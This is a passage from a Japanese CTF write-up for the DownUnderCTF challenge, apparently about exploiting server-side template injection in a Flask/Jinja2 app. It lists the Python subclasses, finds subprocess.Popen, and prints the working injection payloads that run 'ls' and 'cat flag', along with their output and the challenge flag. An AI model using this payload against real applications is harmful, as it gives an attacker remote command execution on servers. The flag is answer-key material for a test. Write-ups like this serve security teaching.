<class 'jinja2.visitor.NodeVisitor'>,
<class 'jinja2.idtracking.Symbols'>,
<class 'jinja2.compiler.MacroRef'>,
<class 'jinja2.compiler.Frame'>,
<class 'jinja2.runtime.TemplateReference'>,
<class 'jinja2.runtime.Context'>,
<class 'jinja2.runtime.BlockReference'>,
<class 'jinja2.runtime.LoopContext'>,
<class 'jinja2.runtime.Macro'>,
<class 'jinja2.runtime.Undefined'>,
<class 'jinja2.lexer.Failure'>,
<class 'jinja2.lexer.TokenStreamIterator'>,
<class 'jinja2.lexer.TokenStream'>,
<class 'jinja2.lexer.Lexer'>,
<class 'jinja2.parser.Parser'>,
<class 'jinja2.environment.Environment'>,
<class 'jinja2.environment.Template'>,
<class 'jinja2.environment.TemplateModule'>,
<class 'jinja2.environment.TemplateExpression'>,
<class 'jinja2.environment.TemplateStream'>,
<class 'jinja2.loaders.BaseLoader'>,
<class 'werkzeug.local.Local'>,
<class 'werkzeug.local.LocalStack'>,
<class 'werkzeug.local.LocalManager'>,
<class 'werkzeug.local._ProxyLookup'>,
<class 'werkzeug.local.LocalProxy'>,
<class 'difflib.SequenceMatcher'>,
<class 'difflib.Differ'>,
<class 'difflib.HtmlDiff'>,
<class 'pprint._safe_key'>,
<class 'pprint.PrettyPrinter'>,
<class 'werkzeug.routing.RuleFactory'>,
<class 'werkzeug.routing.RuleTemplate'>,
<class 'werkzeug.routing.BaseConverter'>,
<class 'werkzeug.routing.Map'>,
<class 'werkzeug.routing.MapAdapter'>,
<class 'gettext.NullTranslations'>,
<class 'click._compat._FixupStream'>,
<class 'click._compat._AtomicFile'>,
<class 'click.utils.LazyFile'>,
<class 'click.utils.KeepOpenFile'>,
<class 'click.utils.PacifyFlushWrapper'>,
<class 'click.types.ParamType'>,
<class 'click.parser.Option'>,
<class 'click.parser.Argument'>,
<class 'click.parser.ParsingState'>,
<class 'click.parser.OptionParser'>,
<class 'click.formatting.HelpFormatter'>,
<class 'click.core.Context'>,
<class 'click.core.BaseCommand'>,
<class 'click.core.Parameter'>,
<class 'flask.signals.Namespace'>,
<class 'flask.signals._FakeSignal'>,
<class '__future__._Feature'>,
<class 'zipfile.ZipInfo'>,
<class 'zipfile.LZMACompressor'>,
<class 'zipfile.LZMADecompressor'>,
<class 'zipfile._SharedFile'>,
<class 'zipfile._Tellable'>,
<class 'zipfile.ZipFile'>,
<class 'zipfile.Path'>,
<class 'pathlib._Flavour'>,
<class 'pathlib._Accessor'>,
<class 'pathlib._Selector'>,
<class 'pathlib._TerminatingSelector'>,
<class 'pathlib.PurePath'>,
<class 'zipp.glob.Translator'>,
<class 'zipp.InitializedState'>,
<class 'zipp.SanitizedNames'>,
<class 'zipp.Path'>,
<class 'textwrap.TextWrapper'>,
<class 'importlib_metadata._compat.NullFinder'>,
<class 'importlib_metadata.Sectioned'>,
<class 'importlib_metadata.EntryPoint'>,
<class 'importlib_metadata.FileHash'>,
<class 'importlib_metadata.Distribution'>,
<class 'importlib_metadata.DistributionFinder.Context'>,
<class 'importlib_metadata.FastPath'>,
<class 'importlib_metadata.Lookup'>,
<class 'importlib_metadata.Prepared'>,
<class 'flask.cli.DispatchingApp'>,
<class 'flask.cli.ScriptInfo'>,
<class 'flask.config.ConfigAttribute'>,
<class 'flask.ctx._AppCtxGlobals'>,
<class 'flask.ctx.AppContext'>,
<class 'flask.ctx.RequestContext'>,
<class 'flask.scaffold.Scaffold'>,
<class 'itsdangerous.signer.SigningAlgorithm'>,
<class 'itsdangerous.signer.Signer'>,
<class 'itsdangerous._json._CompactJSON'>,
<class 'flask.json.tag.JSONTag'>,
<class 'flask.json.tag.TaggedJSONSerializer'>,
<class 'flask.sessions.SessionInterface'>,
<class 'flask.blueprints.BlueprintSetupState'>,
<class 'unicodedata.UCD'>]
<class 'subprocess.Popen'>のインデックスは213。
以下のように入力してみる。
{{().__class__.__base__.__subclasses__()[213]('ls -l',shell=True,stdout=-1).communicate()}}以下のように返ってきた。
(b'total 20\n-rw-r--r-- 1 root root 625 Jul 4 15:47 app.py\n-rw-r--r-- 1 root root 34 Jul 4 15:47 flag\n-rw-r--r-- 1 root root 29 Jul 4 15:47 requirements.txt\ndrwxr-xr-x 3 root root 4096 Jul 4 15:47 static\ndrwxr-xr-x 2 root root 4096 Jul 4 15:47 templates\n', None)
以下のように入力してみる。
{{().__class__.__base__.__subclasses__()[213]('cat flag',shell=True,stdout=-1).communicate()}}以下のように返ってきた。
(b'DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}', None)
DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
